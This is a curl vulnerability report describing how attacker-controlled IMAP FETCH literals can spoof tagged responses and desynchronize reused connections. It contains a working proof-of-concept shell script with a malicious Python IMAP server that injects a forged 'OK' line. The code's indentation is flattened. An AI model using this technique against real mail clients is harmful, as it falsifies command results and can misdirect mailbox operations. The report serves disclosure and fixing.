curl · Report #4021854
IMAP custom FETCH literals can spoof tagged responses and desynchronize reused connections
How it was found
Summary
There is an IMAP parser vulnerability, related to a custom FETCH whose message set begins with a range or comma, is_custom_fetch_listing() causes imap_state_listsearch_resp() to skip literal parsing (lib/imap.c:1233-1235).
The generic ping-pong reader nevertheless continues parsing the response as newline-delimited IMAP responses. Consequently, a line inside an attacker-controlled literal that matches curl's current response tag, such as A004 OK, is accepted by imap_endofresp() as the command completion response.
Curl can therefore report a custom FETCH successful even when the server's actual tagged response is NO. The declared literal and the genuine response remain buffered. Because this path does not set data->req.maxdownload, imap_done() does not perform the custom FETCH final-response handling, and the connection can remain reusable with stale protocol data in the IMAP ping-pong buffer.
Technical details
is_custom_fetch_listing() recognizes inputs such as:
FETCH 1:* (BODY[])
FETCH 1,2,3 (FLAGS)
UID FETCH 1:* (BODY[])
When the server sends a FETCH response containing a literal, the branch at lib/imap.c:1233-1235 does nothing. Curl_pp_readresp() then scans the literal body line by line. imap_endofresp() checks for the current tag before distinguishing protocol response boundaries and accepts any line beginning with the tag followed by a space; it only needs the first two status characters to be OK.
For example, the following literal content can terminate command A004 early:
X
A004 OK FORGED-BY-ATTACKER
TRAILER
The server's genuine A004 NO ... response is left unread or buffered. The same mechanism can leave a forged next-command tag in the buffer, allowing a later command to receive a false completion response.
Proof of concept
The following reproducer was tested against audit revision e5e1c356107ea4f8208757deb69776d94496cfae.
Run the exploit and control modes as indicated.
https://github.com/curl/curl.git at e5e1c356107ea4f8208757deb69776d94496cfae
checkout: /src
privilege required: LOCAL. This was proved by running the built program; no network principal or login is involved.
run: sh /poc-scratch/reproduce.sh exploit
control (script_mode): sh /poc-scratch/reproduce.sh control
pre_run.sh (run once)
apt-get update && apt-get install -y --no-install-recommends python3
reproduce.sh
#!/bin/sh
# IMAP literal/protocol desync in curl (lib/imap.c custom FETCH listing branch).
# Override the loopback port with VF_IMAP_PORT if 14399 is taken.
MODE="$1"
PORT="${VF_IMAP_PORT:-14399}"
WORK="$(mktemp -d)"
cat > "$WORK/srv.py" <<'PY'
import socket, threading, sys
PORT=int(sys.argv[1]); MODE=sys.argv[2]
def handle(c):
f=c.makefile('rwb', buffering=0)
def send(s): f.write(s.encode())
send("* OK IMAP4rev1 ready\r\n")
while True:
l=f.readline()
if not l: break
line=l.decode('latin1'); p=line.split()
if len(p)<2: continue
tag,cmd=p[0],p[1].upper()
if cmd=="CAPABILITY":
send("* CAPABILITY IMAP4rev1 \r\n"); send(tag+" OK done\r\n")
elif cmd=="LOGIN": send(tag+" OK done\r\n")
elif cmd in ("SELECT","EXAMINE"):
send("* 3 EXISTS\r\n* OK [UIDVALIDITY 1]\r\n"); send(tag+" OK [READ-WRITE] done\r\n")
elif cmd=="FETCH":
# Attacker-controlled literal body. In exploit mode it embeds a line
# matching curl's current tag for this command (for example,
# A004 OK).
if MODE=="exploit":
body="X\r\n"+tag+" OK FORGED-BY-ATTACKER\r\nTRAILER\r\n"
else:
body="X\r\nZZZ9 OK HARMLESS-NO-MATCH\r\nTRAILER\r\n"
send("* 1 FETCH (BODY[] {%d}\r\n" % len(body)); send(body)
# The server's real verdict: it rejected the fetch.
send(tag+" NO server actually rejected the fetch\r\n")
else: send(tag+" OK done\r\n")
try: c.close()
except Exception: pass
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(("127.0.0.1",PORT)); s.listen(8)
while True:
cc,_=s.accept(); threading.Thread(target=handle,args=(cc,),daemon=True).start()
PY
python3 "$WORK/srv.py" "$PORT" "$MODE" 2>/dev/null &
SRV=$!
# Wait until the loopback IMAP server is accepting connections.
i=0
while ! python3 -c "import socket,sys; s=socket.socket(); sys.exit(0 if s.connect_ex(('127.0.0.1',$PORT))==0 else 1)" 2>/dev/null; do
i=$((i+1)); [ "$i" -gt 50 ] && { echo "server-not-ready"; kill -9 $SRV 2>/dev/null; exit 3; }
sleep 0.2
done
# Everything is up and the shipped curl is about to run: signal readiness.
: > "${VF_READY:-/dev/null}"
# Exercise the shipped curl binary exactly once. Its exit code is the observable:
# 0 => curl believed the custom FETCH succeeded (spoofed by the literal)
# !0 => curl honored the server's real "NO" rejection.
timeout 30 curl -s --url "imap://127.0.0.1:$PORT/INBOX" -u user:pass -X "FETCH 1:* (BODY[])" >/dev/null 2>&1
rc=$?
kill -9 $SRV 2>/dev/null
echo "CURL_EXIT=$rc"
exit "$rc"
Expected result:
exploit: curl exits0.control: curl exits nonzero.
Recommendation
Do not classify custom FETCH as line-only based solely on its message-set syntax. Every FETCH response should parse and consume literals by their declared byte length before recognizing response lines.
If arbitrary multi-literal custom FETCH responses are not supported, reject them or mark the connection non-reusable as soon as an unconsumed literal is detected. Add regression tests containing current and subsequent command tags inside literals, including tests that reuse the connection for a later SELECT, FETCH, STORE, or EXPUNGE.
Impact
The direct impact is response desynchronization and false command status, not arbitrary command injection. On a reused connection, leftover literal or response bytes can be consumed as the response to a later command.
A security-relevant consumer scenario is cross-mailbox confusion: an application could fetch attacker-controlled content from mailbox A, then select mailbox B and perform a sensitive operation. A forged tagged line left in the connection buffer could make curl believe the SELECT B succeeded when it did not, causing the following operation to execute against the server's still-selected mailbox A while the application believes it is operating on B.
This requires all of the following:
- the application uses the affected custom range/comma
FETCHform; - the IMAP connection is reused for a later command;
- an attacker can control literal content, or the server is malicious;
- the consuming application treats curl's command result as security-relevant.
A malicious IMAP server can already lie about its own response, so a one-shot request to a malicious server does not by itself demonstrate an additional privilege escalation. The distinct issue is that literal data from an otherwise honest server can cross into the command-response state machine and contaminate later operations.